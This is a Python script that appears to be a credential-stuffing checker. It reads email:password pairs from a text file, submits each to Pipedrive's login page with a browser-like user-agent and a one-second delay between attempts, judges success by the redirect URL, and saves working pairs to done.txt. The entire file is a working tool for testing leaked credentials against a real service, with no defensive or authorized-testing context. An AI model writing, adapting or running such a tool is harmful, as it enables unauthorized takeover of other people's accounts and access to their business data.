#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Check list of credentials and save working ones to done.txt
Usage: python check_list.py input.txt
"""

import requests
import sys
import time

LOGIN_URL = "https://app.pipedrive.com/auth/login"
DELAY = 1  # 1 second delay

def test_credential(email, password):
    """Test a single credential"""
    session = requests.Session()
    
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
        'Accept': 'text/html,application/xhtml+xml',
        'Accept-Language': 'en-US,en;q=0.5',
    }
    
    try:
        session.get(LOGIN_URL, headers=headers, timeout=5)
        
        login_data = {
            'email': email,
            'password': password,
            'remember_me': 'true'
        }
        
        response = session.post(LOGIN_URL, data=login_data, headers=headers, allow_redirects=True, timeout=5)
        final_url = response.url
        
        if '/auth/login' in final_url:
            return False
        elif '/app/' in final_url or '/deals' in final_url:
            return True
        else:
            return False
            
    except:
        return False

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Usage: python check_list.py input.txt")
        sys.exit(1)
    
    input_file = sys.argv[1]
    
    print("=" * 60)
    print("CHECKING CREDENTIALS")
    print("=" * 60)
    
    try:
        with open(input_file, 'r', encoding='utf-8', errors='ignore') as f:
            lines = [line.strip() for line in f if line.strip()]
    except FileNotFoundError:
        print(f"Error: {input_file} not found!")
        sys.exit(1)
    
    total = len(lines)
    working = 0
    failed = 0
    
    print(f"Total: {total} credentials\n")
    
    for i, line in enumerate(lines, 1):
        if ':' not in line:
            continue
        
        email, password = line.split(':', 1)
        
        print(f"[{i}/{total}] {email}... ", end="", flush=True)
        
        result = test_credential(email, password)
        
        if result:
            print("✓ WORKING")
            with open("done.txt", "a", encoding="utf-8") as f:
                f.write(f"{email}:{password}\n")
            working += 1
        else:
            print("✗ FAILED")
            failed += 1
        
        if i < total:
            time.sleep(DELAY)
    
    print("\n" + "=" * 60)
    print(f"RESULTS:")
    print(f"  ✓ Working: {working} → saved to done.txt")
    print(f"  ✗ Failed: {failed}")
    print("=" * 60)

